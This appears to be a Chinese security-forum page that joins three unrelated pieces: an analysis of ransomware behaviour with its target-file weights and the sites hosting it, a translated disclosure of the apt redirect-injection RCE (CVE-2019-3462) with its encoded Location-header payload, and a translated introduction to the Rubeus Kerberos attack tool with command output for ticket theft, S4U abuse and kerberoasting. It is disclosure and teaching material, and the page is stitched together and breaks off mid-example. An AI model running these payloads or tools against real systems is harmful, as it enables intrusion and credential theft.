将下载的两个文件解密合成一个DLL文件，这样做的主要的目的主要是躲避安全软件的检查
下面详细分析下来的dll文件
文件信息
文件名称
IckGdv2.dll
SHA256
704eb9e3cc54bdafa1736f529ae0695d620a7c064e6d4fac591ab98ebe47fc0c
加壳
未知壳
文件大小
160 KB
编译时间
2016/9/22
数字签名
无
处理器架构
Intel386
详细分析，写个调用程序进行调用。
可以分析当文档遇到俄语系统时将不再进行感染
设置超长sleep进行睡眠，躲避沙箱跑出行为
通过使用哈希算法MD5为计算机磁盘的物理地址签名，系统版本和系统信息生成标识ID
[attachment=2943]
在加密的文件，还对网络共享目录进行搜索，如果有的话，也进行加密
枚举磁盘资源信息
修改文件访问权限
]
为了保证系统能正常运行来支付赎金下面文件夹和文件（系统文件夹）是不会被加密的]
对所有文件根据后缀名进行评比权重，其中权值最高的wallet.dat (比特钱包文件)为7，剩下的从6到-15之间 下面是加密的文件类型和权值。
.key
.crt
.csr
.p12
.pem
.doc
.odt
.ott
.sxw
.stw
6
6
6
6
6
5
5
5
5
5
.ppt
.xls
.pdf
.rtf
.uot
.csv
.txt
.xml
.3ds
.max
5
5
2
4
4
2
2
2
4
4
.3dm
.dot
.docx
.docm
.dotx
.dotm
.602
.hwp
.ods
.ots
4
4
4
4
4
4
4
4
5
5
.sxc
.stc
.dif
.xlc
.xlm
.xlt
.xlw
.slk
.xlsh
.xlsm
.xlsx
.xltm
.xltx
.wk1
.wks
.123
.wb2
.odp
.otp
.sxi
5
4
4
4
4
4
4
5
5
5
.sti
.pps
.pot
.sxd
.std
.pptm
.ppts
.potm
.potx
.uop
4
4
4
4
4
5
5
5
5
4
.odg
.otg
.sxm
.mml
.docb
.ppam
.ppsx
.ppsm
.sldx
.sldm
5
4
5
5
4
4
4
4
4
4
.ms11
.lay
.lay6
.asc
.onetoc2
.pst
.001
.002
.003
.004
4
4
4
4
5
5
2
2
2
2
.005
.006
.007
.008
.009
.010
.011
.SQLITE3
.SQLITEDB
.sql
2
2
2
2
2
2
2
3
3
3
.mdb
.db
.dbf
.odb
.frm
.MYD
.myi
.ibd
.mdf
.ldf
3
3
3
3
3
3
3
3
3
3
.php
.c
.cpp
.pas
.asm
.h
.js
.vb
.vbs
.pl
4
4
4
4
4
4
3
3
3
3
.dip
.dch
.sch
.brd
.cs
.asp
.rb
.java
.jar
.class
3
3
3
3
4
4
4
3
3
3
.pl
.sh
.bat
.cmd
.psd
.nef
.tiff
.tif
.jpg
.jpeg
3
3
3
3
1
-2
-3
-3
-3
-3
.cgm
.raw
.gif
.png
.bmp
.svg
.djvu
.zip
.rar
.7z
-3
-3
-4
-4
-4
-4
-4
-10
-10
-10
.gz
.tgz
.tar
.bak
.tbk
.tar.bz2
.paq
.arc
.aes
.gpg
-10
-10
-10
-10
-10
-10
-10
-10
-10
-10
.apk
.asset
.assef
.bik
.bsa
.d3dbsp
.das
.forge
.iwe
.lbf
-10
-10
-10
-10
-10
-10
-10
-10
-10
-10
.litemo
.litesq
.ltx
.re4
.sav
.upk
.wallet
.vmdk
.vdi
.qco2
-10
-10
-01
-10
-10
-10
-10
-12
-12
-12
.mp3
.wav
.swf
.wmv
.mpg
.vob
.mpeg
.avi
.mov
.mp4
-15
-15
-15
-15
-15
-15
-15
-15
-15
-15
.3gp
.mkv
.3g2
.flv
.wma
.mid
.m3u
.m4u
.m4a
.n64
-15
-15
-15
-15
-15
-15
-15
-15
-15
4
在这些权值中还要比较文件大小，文件越大减的数值越多，最后出一个综合权值，文件越大，分数越小，在计算出文件分数后，分数越高越先被加密，分数低的，后被加密。
分数算法如下
如果文件大小大于0x100000字节
分数=基础分-5
如果文件大小大于0XA00000字节
分数=基础分-15
如果文件大小大于0x6400000字节
分数=基础分-25
如果文件大小大于0x3E800000字节
分数=基础分-35
可以看到使用的加密算法为
可以发现使用的密钥交换和签名算法为RSA
导入RSA公钥
导入的公钥
生成AES随机密钥，并对文档进行加密
并且删除所有卷影副本
并且可以回传用户信息
将加密后的文件随机生成文件名
UUB6IMA8-TAQI-48FJ-BB4C-97E142067AC0.zepto
下面是显示给用户的支付赎金的界面
经过分析黑客入侵了很多站点，将勒索软件软件放在上面，下面是收集到的站点
<http://abdulqadirmahar.com/>
<http://accentofficefurniture.co.nz>
<http://afzalbaloch.comli.com>
<http://appleappdeveloper.com/>
<http://attractions.com/>
<http://blivenews.com/>
<http://cardimax.com.ph/>
<http://celebratebanking.com/>
<http://deftr.com/>
<http://dmlevents.com/>
<http://emaster.4devlab.com/>
<http://flyingbtc.com/>
<http://graybowolson.com/>
<http://greenkeralatravels.com/>
<http://grimkonde.net/>
<http://hrx.net.au/>
<http://imsalud.gov.co/>
<http://indglobaldemo.com/>
<http://infosunsystem.com/>
<http://lsnsoft.info/>
<http://managedv2.4devlab.com/>
<http://micaraland.com/>
<http://muhammadyunus.org/>
<http://myownindia.com/>
<http://nsgroup.in/>
<http://prettynicewebsite.com/>
<http://pvtltdregistration.com/>
<http://ringspo.com/>
<http://satyagroups.in/>
<http://tvorbis.com.mk/>
<http://venussystems.in/>
<http://www.barodawebsolution.com/>
<http://www.bujod.in/>
<http://www.e-media.in/>
<http://www.mango-do.com> | 社区文章 |
**原文：[Remote Code Execution in apt/apt-get](https://justi.cz/security/2019/01/22/apt-rce.html)
作者：Max Justicz
译者：Nanako@知道创宇404实验室 **
TL,DR:
我在apt中发现了一个漏洞，它允许网络中间人（或恶意包镜像）以root身份在安装软件包的机器上执行任意代码。该漏洞已在apt最新版本中被修复。如果您担心在更新过程中被利用，可以通过禁用http重定向来保护自己。为此，请运行：
$ sudo apt update -o Acquire::http::AllowRedirect=false
$ sudo apt upgrade -o Acquire::http::AllowRedirect=false
如果当前镜像包在默认情况下重定向（意味着出现该标志时无法更新apt），则需要选择其它镜像或直接下载程序包。[该链接可以找到有关Debian升级的具体说明。](https://lists.debian.org/debian-security-announce/2019/msg00010.html)[Ubuntu的声明可以在这里找到。](https://usn.ubuntu.com/3863-1/)
作为证明，我录制了一段攻击如下`Dockerfile`的视频：
FROM debian:latest
RUN apt-get update && apt-get install -y cowsay
## **背景**
在获取数据时，apt将各种不同的数据传输协议的工作进程分离。然后，父进程通过`stdin/stdout`与这些工作进程进行通信，
利用一个类似http的协议告诉他们要下载的内容并将它放到文件系统上。例如，在一台机器上运行 `apt install
cowsay`并用http请求下载相应包的时候，apt将提供`/usr/lib/apt/methods/http`目录，并返回`100
Capabilities`消息：
100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true
然后，父进程发送其配置并请求资源，如下所示：
601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...many more lines omitted...)
600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070
然后工作进程会像下方这样响应：
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers
200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
当http服务器根据重定向进行响应时，工作进程返回`103 Redirect`而非`201 URI Done`。父进程根据此响应来确定接下来应该请求的资源：
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri
## **漏洞**
不幸的是，进行http下载的进程会对`HTTP Location`头进行url解码，并直接附加到`103 Redirect`响应中：
// From methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);
// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{
std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n"
<< "New-URI: " << NewURI << "\n"
<< "\n" << std::flush;
Dequeue();
}
（注意：不同版本的apt之间存在重要差异。上述代码来自Debian最近使用的1.4.y版本。一些Ubuntu版本使用的是1.6.y，它不仅仅是直接附加URI。然而在后续的http提取程序发出的`600
URI Acquire`请求中仍然存在注入漏洞。其他版本我并没有做检查。）
因此，如果http服务器发送`Location: /new-uri%0AFoo%3A%20Bar`，http提取进程将回复以下内容：
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar
或者，如果http服务器发送：
Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A
那么http提取进程会回复：
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload
201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
## **注入恶意包**
因为我在我的验证程序中注入`201 URI
Done`响应，所以我不得不处理没有下载任何包的问题。我需要一种方法让恶意的.deb进入系统，以便在Filename参数中使用。
为了实现这点，我利用了`apt
update`时`release.gpg`文件可以被修改，并安装在可预测的位置这个特点。具体来说，`Release.gpg`包含的PGP签名，如下所示：
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
只要注入的内容不接触到签名内容，apt的签名验证程序就不会报错，所以我拦截了`release.gpg`请求，并用我的恶意deb进行了预处理：
<oops.deb contents>
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
然后，我在`201 URI Done`响应中设置Filename参数：
/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
## **http / https争议**
默认情况下，Debian和Ubuntu都使用开箱即用的http存储库（Debian允许您在安装过程中选择所需镜像，但实际上不支持https存储库 -您必须先安装`apt-transport-https`）。
如果程序包清单已签名，为什么还要使用https？毕竟，由于包的大小有限，隐私获益是最小的。而且使用https会使缓存受限。
也有对此很感兴趣的人。某些网站专门解释为什么在apt上下文中使用https没有意义。
这些都是很好的观点，但是我这篇文章中的bug是存在的。无独有偶——这是JannHorn在2016年发现的[另一个具有相同影响的bug](https://www.debian.org/security/2016/dsa-3733)。没错，即使使用的是https，恶意镜像依然可以利用这样的漏洞。但我觉得，与其攻击使用http或TLS证书的`deb.debian.org`，还不如直接攻击目标服务器上的应用服务。
（假设`apt-transport-https`本身没有灾难性的破坏。我并没有审计，但它看起来像是围绕libcurl的一个相对较薄的包装。）
支持http是个好事。我只是认为把https作为更安全的默认存储库是值得的，如果用户选择这样做的话，允许他们降低安全级别。如果服务器包默认使用的是https，我就无法利用本文顶部的dockerfile。
## **总结**
感谢apt维护者及时修补此漏洞，并感谢Debian安全团队协助披露。这个漏洞已经注册编号：CVE-2019-3462。
* * * | 社区文章 |
# 从 Kekeo 到 Rubeus
|
##### 译文声明
本文是翻译文章，文章原作者 harmj0y ，文章来源：harmj0y.net
原文地址：<http://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/>
译文仅供参考，具体内容表达以及含义原文为准。
**译者摘要：** Kekeo 是 MimiKatz 的作者 Benjamin
的一个很棒的项目，但由于一些限制影响了它在渗透测试行业中的广泛使用。本文作者将其功能使用C#进行重写，摆脱了第三方商业库的限制，希望 Kekeo
的超赞功能能够得到大家的重视和喜爱。
Kekeo，是 [Benjamin Delpy](https://twitter.com/gentilkiwi/) 继 Mimikatz
之后开发的另一个大项目，这个代码库集成了很多很赞的功能。Benjamin 指出，将 Kekeo 从 Mimikatz
代码库独立出来的原因就是，“我讨厌编写网络相关代码；因为需要使用第三方商业代码库 ASN.1 ”。Kekeo提供的功能（包含但不限于）：
1. 使用用户 hash（rc4_hmac/aes128_cts_hmac_sha1/aes256_cts_hmac_sha1格式）请求 ticket-granting-tickets (TGTs) ，并将其注入到当前登陆session 。这提供了与 mimikatz 的 “over-pass-the-hash” 不同的选择，相比来说 kekeo 无须操作 LSASS 进程内存，也无须管理员权限;
2. 从现有的 TGT 获取 service tickets (服务票据);
3. 据我所知，除了 impacket 之外，唯一提供 S4U [约束授权滥用](http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/) (包括 sname 情形);
4. Smartcard 滥用函数，对此我还未完全理解：）
5. 以及更多！
但是，为什么渗透测试行业中 Kekeo 没有得到像 Mimikatz 一样的热烈欢迎呢？
部分原因在于它利用场景的细微差别，但是我认为还有两个主要原因。首先，Kekeo 与现有的 PE-loader 并未很好的兼容。我试过将其与 Invoke-ReflectivePEInjection 和 @subtee 的 .NET PE loader
配合使用，但却不是很成功。我想对此领域更加熟悉的人也许知道该如何正确地运行，但我就是成功不了。
第二点，Kekeo 需要一个商业 ASN.1 库。ASN.1 是 kerberos
数据流量中使用的编码方案，同时也用于其他许多地方。这意味着除非获取了这个库的商业许可，否则大部分使用者只能使用 Kekeo 的预编译发布版，而这会很容易就被
AV 盯上了。再加上之前提到的对修改的限制和与 PE loader 的兼容问题，大部分人就放弃了 Kekeo。而这太可惜了。
今天，我郑重发布 [Rubeus](https://github.com/GhostPack/Rubeus/) , Kekeo 部分功能 （并非全部）的
C# 实现版本。我一直想深入了解一下 Kerberos 的结构和交换机制，从而能更好的理解整个Kerberos系统， 而这个项目正好给我提供了一个机会。
**要明确的是：** 这些技术和实现是 Benjamin 的原创，我的项目只是用另一种语言进行了重新实现。我的代码库也借鉴了 Benjamin
的那位“犯罪伙伴”， [Vincent LE TOUX](https://twitter.com/mysmartlogon), 他的知名项目
[MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin)
中提供了一些很赞的 C# 的 LSA 相关函数，为我节省了大量的时间。非常感谢 Benjamin 和 Vincent
开创了这个领域，并提供了很棒的代码库让我可以作为工作基础—没有他们的前期工作我的这个项目根本就不可能存在。
我想说的是，虽然有他俩提供的很好的基础，但这是我曾参与的最具技术挑战性的项目之一。我使用的 ASN.1 库比较“原始”，意味着每个 Kerberos
结构或多或少都需要自己动手实现。对于那些希望深入了解 kerberos 结构或 ASN.1 解析的同学，我唯一的警告是：“龙出没，注意。”
现在我们来进入有趣的环节：）
## Rubeus
Rubeus （以Rubeus Hagrid 鲁伯·海格命名，他曾经驯养了自己的三头狗）（译者注，这里的鲁伯·海格是《哈利波特》中的人物，而
Kerberos 的意思正是三头怪兽）是一个用于在流量和主机级别上操控 Kerberos 各种组件的工具，它兼容 C# 3.0 版本（对应.NET
3.5版本）。Rubeus 使用 [Thomas Pornin](https://github.com/pornin) 的一个名为
[DDer](https://github.com/pornin/DDer) 的 C# ASN.1
解析/编码库，该库具有“类似MIT”的许可。前面提到，Kerberos 流量使用 ASN.1 编码，要找到一个可用的（且最小的）C# ASN.1
库真是一个艰巨的任务。非常感谢 Thomas 干净又稳定的代码！
Rubeus 有一系列的 “动作” /命令 。如果没有提供参数，将会显示如下帮助信息：
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
Rubeus usage:
Retrieve a TGT based on a user hash, optionally applying to a specific LUID or creating a /netonly process to apply the ticket to:
Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid] [/createnetonly:C:WindowsSystem32cmd.exe] [/show]
Renew a TGT, optionally autorenewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]
Perform S4U constrained delegation abuse:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
Submit a TGT, optionally targeting a specific LUID (if elevated):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
Rubeus.exe purge [/luid:LOGINID]
Parse and describe a ticket (service ticket or TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>
Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:
Rubeus.exe createnetonly /program:"C:WindowsSystem32cmd.exe" [/show]
Perform Kerberoasting:
Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]
Perform Kerberoasting with alternate credentials:
Rubeus.exe kerberoast /creduser:DOMAIN.FQDNUSER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]
Perform AS-REP "roasting" for users without preauth:
Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]
Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:
Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]
Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:
Rubeus.exe harvest [/interval:MINUTES]
NOTE: Base64 ticket blobs can be decoded with :
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String
接下来，我将介绍每个功能，用实例来解释每个函数的操作方法和使用安全警告，以及一个或多个例子。
另外，如上所示，除非指定了/ptt 选项，Rubeus 将会按列输出 blobs 的base64编码。要使用这些 blobs
数据，最简单的方法就是将其拷贝到 Sublime/VS code 之类的编辑器中，然后将“n ”做一个搜索/替换，从而将所有内容变成一行。然后就可以将得到的
base64 blob(s) 票据传递给其他的Rubeus 函数，或者用 powershell 简单地将它们保存到磁盘 :
**[IO.File]::WriteAllBytes(“ticket.kirbi”,
[Convert]::FromBase64String(“aaBASE64bd…”))**
### asktgt
**asktgt** 操作将为指定的用户和加密密钥（ **/rc4** or **/aes256** ）创建原始的 AS-REQ (TGT 请求)
数据。如果没有指定 /domain 参数，则默认使用主机当前所在域，如果没有指定 /dc 参数，则使用
[DsGetDcName](https://docs.microsoft.com/en-us/windows/desktop/api/dsgetdc/nf-dsgetdc-dsgetdcnamea) 来获取主机当前所在域的域控。如果认证成功，则解析收到的 AS-REP 并将 KRB-CRED（一个包含用户
TGT 的.kirbi 文件）输出为 base64 格式的 blob。如果指定 /ptt 参数，则将执行“pass the ticket”，即将生成的
Kerberos 凭证应用于当前登陆会话。而 /luid:X 参数则将生成的票据应用于指定的登陆会话（需要管理员权限）。如果指定了
/createnetonly:X 参数，则将使用
[CreateProcessWithLogonW()](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createprocesswithlogonw)
创建一个新的隐藏进程（除非指定了/show参数），其SECURITY_LOGON_TYPE被设置为9，相当于 runas
/netonly。然后请求到的票据将应用于这个新的登录会话。
从操作上来说，这是 Mimikatz 的 sekurlsa::pth 命令的一个替代方案，该命令启动一个虚拟登陆会话/进程，并将提供的 hash
注入到进程中，从而启动接下来的票据交互过程。此进程将附加于 LSASS 进程并将对其内存进行操作，这个动作易被作为安全检测的特征，同时也需要管理员权限。
而在我们的实现中（或者Kekeo的tgt::ask模块里），由于我们只是将原始的 Kerberos
数据发送到当前或指定的域控上，在运行的主机上无须提升权限。我们只需要用户的正确的 rc4_hmac ( **/rc4** ) 或者
aes256_cts_hmac_sha1 ( **/aes256** ) hash ，就可以用来请求此用户的 TGT 了。
另外，还有一个操作安全说明：一次只能将一个 TGT 应用于当前登录会话。因此，使用 /ptt 选项应用新票据时会清除之前的 TGT。一个解决方法是使用
/createnetonly:X 参数， 或者使用 ptt /luid:X 来请求票据并应用于另外的登陆会话。
c:Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.localdfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /createnetonly:C:WindowsSystem32cmd.exe
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:WindowsSystem32cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 4988
[+] LUID : 6241024
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Target LUID : 6241024
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.localharmj0y'
[*] Connecting to 192.168.52.100:88
[*] Sent 232 bytes
[*] Received 1405 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFFjCCBRKgAwIB...(snip)...
[*] Action: Import Ticket
[*] Target LUID: 0x5f3b00
[+] Ticket successfully imported!
如果未指定 /ptt 参数来将票据应用于当前登陆会话，则可以使用Rubeus的 **ptt** 命令，或者 Mimikatz 的
**kerberos::ptt** 功能，或者 Cobalt Strike 的 **kerbeos_ticket_use** 稍后再应用票据。
**注意，/luid 和 /createnetonly 参数需要管理员权限执行！**
### renew
大多数域默认的 Kerberos 策略为 TGT 提供10小时的生命期，并具有7天的续订窗口。那这到底意味着什么呢？
当把一个用户的票据注入到 LSASS 进程时，注入的将不仅仅是 TGT，而是 [KRB-CRED
结构](https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/KerberosV5Spec2.asn#L305-L310)
（即Mimikatz语言中的.kirbi文件），其中包括了用户的TGT（用krbtgt Kerberos 服务签名密钥进行加密）和 包含了一个或多个
[KrbCredInfo](https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/KerberosV5Spec2.asn#L323-L335)
结构的
[EncKrbCredPart](https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/KerberosV5Spec2.asn#L314-L321)
。这些最终的结构包含一个由 TGT 请求（AS-REQ/AS-REP）返回的 [
会话密钥](https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/KerberosV5Spec2.asn#L324)
。这个会话密钥和不透明的 TGT blob 数据结合起来，可以请求一些附加的资源。这个会话密钥默认只有10个小时的生命期，但是 TGT
默认最多有7天的续订窗口，来接收一个新的会话密钥，从而就会有一个可用的 KRB-CRED 结构。
所以，如果你有一个在10小时的有效生命期内的 .kirbi 文件（或者对应的Rubeus base64 blob），并且还在7天的续订窗口期内，就可以使用
Kekeo 或者 Rubeus 来续订 TGT ，从而重启10个小时的窗口期，延长票据的有效生命期。
这个 **续订** 的动作将使用指定的 /ticket:X 来建立/解析一个原始的 TGS-REQ/TGS-REP TGT
续订交换过程。这个值也可设置为一个 .kirbi 文件的 base64 编码，或者是一个磁盘上的 .kirbi 文件的路径。如果未指定 /dc
参数，则将当前主机所在域的域控作为续订流量的目标。/ptt 参数将执行 “pass-the-ticket” ，并将生成的 Kerberos
凭证用于当前登录会话 。
c:Rubeus>Rubeus.exe renew /ticket:doIFmjCC...(snip)...
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCALdfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1500 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
...(snip)...
如果你想要票据在到达续订窗口之前能够自动续订，只需使用 /autorenew 参数：
C:Rubeus>Rubeus.exe renew /ticket:doIFFj...(snip)... /autorenew
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Auto-Renew TGT
[*] User : [email protected]
[*] endtime : 9/24/2018 3:34:05 AM
[*] renew-till : 9/30/2018 10:34:05 PM
[*] Sleeping for 165 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCALharmj0y'
[*] Connecting to 192.168.52.100:88
[*] Sent 1370 bytes
[*] Received 1378 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFFjCCBRKg...(snip)...
[*] User : [email protected]
[*] endtime : 9/24/2018 8:03:55 AM
[*] renew-till : 9/30/2018 10:34:05 PM
[*] Sleeping for 269 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]
想更进一步的话，使用 Rubeus 的 **harvest** 函数，该功能将在系统上自动收集TGT并自动续订。
### s4u
限制委派这一主题很难用一小段篇幅深入地解析清楚。有关更多的背景信息，可以查看我的文章
[S4U2Pwnage](http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)
和相关资源。Rubeus 的操作和 Kekeo 中的 tgs::s4u 函数几乎一样。限制委派设置现在也是 [ BloodHound 2.0
搜集的信息之一了](https://posts.specterops.io/bloodhound-2-0-bc5117c45a99).
简要来说，如果一个用户或者计算机账户在其 msds-allowedToDelegateto
字段中设置了服务主体名称（SPN），并且攻击者获取了此用户/计算机的账户hash，则这个攻击者就可以在目标主机上伪装成任何域用户或任何服务。
滥用此 TTP 的方法，首先需要配置了限制委派的账户的有效 TGT/KRB-CRED 文件。使用此账户的 NTML/RC4 或
aes256_cts_hmac_sha1 哈希，利用 **asktgt** 功能即可获取这个文件。然后在 **s4u** 操作中，使用
**/ticket** 参数指定此票据文件（base64编码的blob 或者是磁盘上的一个票据文件），以及必需的
**/impersonateuser:X** 参数来指定要仿冒的账户， **/msdsspn:SERVICE/SERVER** 参数来指定账户的 msds-allowedToDelegateTo 字段中配置的 SPN 。而 **/dc** 和 **/ptt** 参数的功能与之前的操作相同。
/ **altservice** 参数利用了 [Alberto Solino](https://twitter.com/agsolino)‘s
的伟大发现，即 [ 服务名称在KRB-CRED文件中不被保护](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more) ，只有服务器名称才被保护。这就允许我们在生成的KRB-CRED（.kirbi）文件中替换我们想要的任何服务名称。
c:Temptickets>Rubeus.exe asktgt /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
